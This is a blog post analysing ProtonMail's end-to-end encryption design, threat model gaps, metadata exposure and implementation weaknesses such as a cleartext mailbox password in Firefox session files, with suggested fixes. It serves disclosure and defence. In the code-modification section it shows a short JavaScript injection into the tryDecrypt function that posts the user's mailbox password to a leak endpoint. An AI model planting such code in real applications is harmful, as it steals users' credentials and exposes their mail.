End-to-end email encryption – A case study on ProtonMail design limits and security flaws

In the wake of Edward Snowden revelations on the NSA program, focus progressively increased on various tools aiming at escaping governments and various intelligence agencies mass surveillance. It also brought to light the general matter of online privacy at stake in a GAFAM world (GAFAM = Google Apple Facebook Amazon Microsoft). These are however two different topics: in the first case people want to avoid being watched by their governments, and in the second case people want to take control back over their digital life, a control they willingly relinquished to some companies that do not have privacy protection in their genes. Still, both share a common thing: the sake of privacy for which some tools try to propose a solution to.

These tools might be new, but the actual technology has been around for a while, essentially solid encryption standards such as PGP, RSA, AES and so on. Some other applications are meant to ease self-hosting services such as email, cloud file storage, calendar, which definitely is a good way of protecting one’s privacy. And this has become something possible at an affordable price (VPS, Raspberry Pi at home, etc.). The whole point being to offer people proper tools, ie tools anyone can use, as well as lower the complexity of using such technologies, if not making it transparent to the end-user.

Amongst these tools such as encrypted cloud, local file encryption, black phone, encrypted messaging services and other self hosting cloud, end-to-end encrypted email services have had a particular focus: think of Lavaboom, Tutanota, SCRYPTmail, Peerio, ProtonMail and so on. Most (not all) these services have their end-to-end encryption relying on code executed client side within the browser using well known Javascript libraries such as OpenPGPJS or Forge. The idea of relying on in-browser Javascript to perform cryptographic operations has been largely argued and criticized on the web, here and here for instance. There are some counter arguments as well. Anyone can make its own opinion, I’m myself pretty convinced by the arguments deployed against Javascript cryptography, but that’s not my point.

What I want to talk about here is not Javascript crypto weaknesses, but rather what’s ‘wrong by design‘ with such applications, their ‘not always so clear‘ limits in protecting privacy and even sometimes false statements, when truth is sacrificed for the sake of marketing.

Since I’m a happy (and conscious of its limits) user of ProtonMail, I decided to focus on this email service provider. It turns out I’m also testing SCRYPTmail, which is also great and is using a different design promising better privacy along with a richer feature set. So I might refer to and compare both implementations of an end-to-end encryption email service.

ProtonMail security model

---

ProtonMail’s security is based on the well known PGP standard. When a ProtonMail account is created, a pair of keys is generated on the user’s computer and both are then pushed to the ProtonMail server. This is one noticeable difference with standard PGP softwares: both the private and the public keys are stored on the ProtonMail servers along with the user’s profile.

Andy Yen, from ProtonMail, at TED

Usually, the private key is kept on the user’s computer only, and it’s solely the user’s responsibility to protect it from theft. Having ProtonMail handling both keys is of greater simplicity to end users as it completely removes the burden of managing this key, transfer it between devices and protect it. This is however contrary to the standard design where a private key should remain, well…private. To ensure confidentiality of this private key, it is itself encrypted with a password: the mailbox password.

At the end of the day the whole security of a ProtonMail user’s mailbox relies on this password which, under normal circumstances, is never sent on the wire.

ProtonMail threat model

---

Which threats are we talking about? I think it should be any threat targeting user’s privacy.

The ProtonMail team did a good job providing their application’s threat model. They have identified some of the shortcomings they are subject to, and are making good points as per when one should or should not be using their application. Their analysis essentially points out three attack vectors:

1. Compromised user’s machine (keylogger, trojan).
2. ‘Man In The Middle’ (MITM) attacks on SSL.
3. Unauthorized (?) backdoor planted by an external attacker on ProtonMail servers (as if an authorized backdoor wasn’t a threat to end users).

I believe this analysis is a bit incomplete and the way they mitigate some of the risks could be improved. Not only some serious threats should be added to it, but also already identified threats should be detailed and be clearer in their consequences.

Additional threats

---

 1. METADATA

Such applications like ProtonMail simply don’t protect metadata. Is it really a problem when it comes to mass surveillance ? Well, it turns out mass surveillance is essentially about metadata collection. To quote Edward Snowden (source):

Metadata is extraordinarily intrusive. As an analyst, I would prefer to be looking at metadata than looking at content, because it’s quicker and easier, and it doesn’t lie.

Andy Yen talk at TED

So, when you’re using ProtonMail, the following metadata is still available :

1. Who you’ve been writing to
2. Email subject
3. When the message was sent
4. Message size
5. Frequency of exchanges
6. (Optionally) From which IP

 

On these aspects, ProtonMail doesn’t perform any better than GMail, Hotmail, Yahoo, etc. On the other hand, SCRYPTmail seems to be providing a much better design, by encrypting both the sender, the receiver and the email subject, in addition to the email content of course. Check here for some further explanations (NB: metadata encryption only applies to email exchanged between SCRYPTmail users).

2. CODE MODIFICATION

What’s left to be protected besides metadata? The email content itself for which the main threat is modification of the application code in order to leak the mailbox password. Code modification doesn’t have to be global to the application and affect all users, it could just target a specific user or IP.

I see few scenarios where the application code can be modified:

1. At the server level, either by a malicious ProtonMail employee or upon court order, either targeted at  a specific user (quite stealthy) or targeting any user (not quite stealthy).
2. In transit, in a MITM situation:
   1. Compromised root CA delivering valid SSL certificate for the ProtonMail site.
   2. SSLStrip attack. ProtonMail’s current HSTS implementation doesn’t prevent such attack if it’s the first time you visit the site on a given computer, which is a situation than can occur every time a user access his/her mailbox not from his usual computer (eg: library, internet cafe, friend house, etc.). The computer doesn’t have to be compromised, so to me this is a different threat.
3. In transit, with SSL interception in a corporate environment. SSL interception is more of an accepted (willingly or not, consciously or not) MITM situation. Most likely, SSL interception is performed at the corporate proxy level in order to analyze the data and possibly to modify the response. It is actually common practice to have an ICAP server performing response modification, hence allowing for code modification. So it could be that your employer is spying on you or maybe it’s the network admin getting nasty…

Even though the ProtonMail’s threat model mentions MITM attack, I think they’re not making it clear enough how easy it is to modify the application just to leak the mailbox password. To the contrary they state that, even if a MITM happens (1), getting the message remains a complex attack (2):

However, because ProtonMail messages are encrypted before they leave the user’s browser, an attacker (1) cannot get message data by simply listening in on the communications. The attacker would have to actually send the user’s browser a modified version of the ProtonMail website which may secretly pass the mailbox password back to the attacker. (2) This is a far more difficult attack that can typically only be executed by a strong adversary (like a government) and is generally a targeted attack.

This isn’t true. Once an attacker has successfully performed MITM or is leveraging from SSL interception, he is able to divert traffic and anyone used to tools like Fiddler, Burp or DeleGate, knows it’s a mere inspection rule required to modify the code content. Is it a whole ‘website’ that needs to be modified though ? No. Actually, it’s a single file that needs to be slightly modified.

Amongst Javascript files executed within the browser, the app.xxxxx.js file has a tryDecrypt function which is the right place to plant the following highlighted lines of code:

$scope.tryDecrypt = function() {
var mailboxPassword = $scope.mailboxPassword;
// LEAK USER MAILBOX PASSWORD
var r = new XMLHttpRequest();
r.open("POST", "/leak", true); // Can also leak to another server
r.send(mailboxPassword);

This would be completely transparent to the user. Password can be leaked to ProtonMail servers or to another server.

3. PRIVATE KEY THEFT

The encrypted private key is stored on the ProtonMail servers. It’s transmitted (encrypted) to the browser, on the wire, every time a user logs in. This obviously opens the way for private key theft at the ProtonMail servers, or during transit in a MITM or SSL interception situation.

Once the private key has been stolen, some offline brute force attack can be performed on it.

Extended threat model

---

In regards of the previous scenarios, the following threats to users privacy should be added to the ProtonMail’s threat model:

1. Metadata analysis.
2. Malicious or pressured ProtonMail employee.
3. SSL interception performed by a company. I consider it different from well known MITM attacks as identified in the initial threat model, as I explained above.
4. The MITM identified threat should be amended to mention and be clearer on the risks of:
   1. compromised trusted root CA
   2. or untrusted root CA added to the OS certificate store (remember the Lenovo Superfish case ?).
5. Private key theft and brute force attack.
6. Authorized backdoor, through court order to provide user’s mailbox access, by planting specific code to reveal mailbox password and/or private key.

There are some other threats that are more related to bad security implementation or lack of best practices. Since it’s not related to the overall design, I’m not mentioning these in the threat model.

Not so true statements

---

I don’t know exactly how to qualify those statements made by numerous end-to-end encrypted mail service providers ala ProtonMail. It’s in between the lie by omission, and the mere marketing wording being a bit too enthusiastic .

First, this kind of sentences we can see almost everywhere:

Your data is safe. Zero-knowledge provider. Even if we wanted to, we could not have access to your mailbox.

This is obviously wrong. If they really wanted to, they could access your data (by just modifying their code). So it’s not a matter of being technically or by design impossible, it’s rather a matter of trust.

Second, a bit too enthusiastic statement :

Anonymity and privacy are anyway different matters. While it is true that ProtonMail doesn’t require any personally identifiable information to register, they certainly do record IP addresses used to log into accounts, it’s even one of the good optional security features they propose to keep track of user’s account activity (seen Mr Robot Season 1 Episode 8 ? 🙂 ). This information is not encrypted and is stored on their servers.

Security implementation improvement

---

Lastly, I’d like to report some security implementation that look wrong to me as well as lack of best practice compliance.

1. LOGIN PASSWORD

The login password (not the mailbox password), is sent over the wire every time a user logs in. You can see it in the POST request being made upon login:

I’m not comfortable with this because in an SSL interception situation (again, quite common in corporate environment) a sysadmin or network admin could accidentally, or willingly, get to see this password. Something like a SCRAM mechanism would be better:

1. ProtonMail doesn’t need to know, nor receive, the login password. Just its salted hash is sufficient.
2. The login password is never sent on the wire.
3. Pass-the-hash technique is avoided by using one-time challenge/response.

2. MAILBOX PASSWORD

Once logged into the application, the mailbox password is stored in clear text (well, base64 encoded if it ever makes a difference) into the local session storage.

I noted an issue with Firefox but it might be somehow similar with other browsers: Firefox stores a backup of the local session storage in temporary files (recovery.js and recovery.bak) within the Mozilla user’s profile.

C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile_name>\sessionstore-backups

Both files contain the mailbox password in clear text. They are dynamically updated along with browser session updates, so whenever the user logs out of ProtonMail, the mailbox password is removed from these files. The first issue I see is it’s not safe for a ProtonMail user to hand over the control of his computer, even temporarily (Ex: remote assistance can transfer files in the background without the user noticing it) while s/he’s connected to ProtonMail.

The second issue is when Firefox is being upgraded while a user is connected to his ProtonMail’s mailbox, Firefox creates a permanent backup file of this session store into the session-store-backup directory (file named upgrade.js-[date]). These files are kept on the drive forever. Considering the fact Firefox proposes an upgrade once every two weeks, you can easily end-up with dozens of these files, all of them containing a field named ‘mailbox_pwd’ (or ‘protonmail_pw’ with ProtonMail v1) alongside with the mailbox password in clear text.

The point is those issues don’t require a computer to be compromised to get hold of the password and it leads to the following risks, even if those files have been deleted due to well known forensic recovery techniques:

1. Second hand computer
2. Corporate computer recycled
3. Shared computer

It is quite obvious this password should never touch the hard drive, but it still happens if it’s stored in the local session storage. SCRYPTmail for instance manages the exact same issues while keeping the password in memory only and not using the session storage.

3. HTTP STRICT TRANSPORT SECURITY (HSTS) IMPROVEMENT

ProtonMail implements HSTS which is a good thing. By default HSTS is a TOFU mechanism (Trust On First Use) which opens the way for various SSL attacks when the ProtonMail’s site is visited for the first time on a given computer.

An improvement would be to submit the site to the HSTS browser preload list through this site. The process is painless and easy. The whole thing is brilliantly explained by Troy Hunt in this post.

4. HTTP PUBLIC KEY PINNING (HPKP) IMPLEMENTATION

ProtonMail doesn’t implement HPKP which would help mitigating one of the threat identified in the previous section, namely a compromised root CA.

HPKP is quite easy to implement and is now considered best practice.

5. CONTENT SECURITY POLICY (CSP) IMPLEMENTATION

ProtonMail doesn’t implement CSP although they’ve already had an alert on a supposedly XSS vulnerability on a older version.

In an application constantly proposing new features, an XSS vulnerability is always a possibility. Implementing CSP would considerably increase the complexity of a proper XSS attack.

CSP is quite easy to implement and is now considered best practice.

6. TWO FACTOR AUTHENTICATION

This is something I don’t quite understand: two factor authentication (2FA) is now everywhere. Gmail, Github, WordPress, Dropbox, more and more major sites offer 2FA, simply because it’s easy to implement and comes at no cost for the end-user. I even use 2FA on my own self hosted site thanks to a simple PHP portal I developed. All this to say it’s quite easy to implement.

So come on, ProtonMail, give your users 2FA. It helps mitigating quite some of the previously noted threats.

Conclusion

---

ProtonMail and equivalent alternatives are doing a great job bringing end-to-end encrypted email to the mass, making it usable to almost anyone. They also undeniably increase the barrier of entry for mass surveillance.

ProtonMail’s statement that there is no such thing as a 100% sure system is definitely true. Anyway, it’s not because a system is not 100% sure that it should not be used. However it  should also try to improve itself and fix its implementation flaws as well as its design issues. In-browser cryptography is clearly on the evolution path to a better system, and it’s a good thing people slowly get away from other email services that are not protecting, or not even willing to protect online privacy.

My guess, and hope, is if more and more people are getting used to prefer these kind of privacy safe tools over current ones, only then they’ll be ready to start looking at their PGP private key just as they look at their car key.

Arno. https://twitter.com/Arno0x0x

Like this article ? Tip me with bitcoins !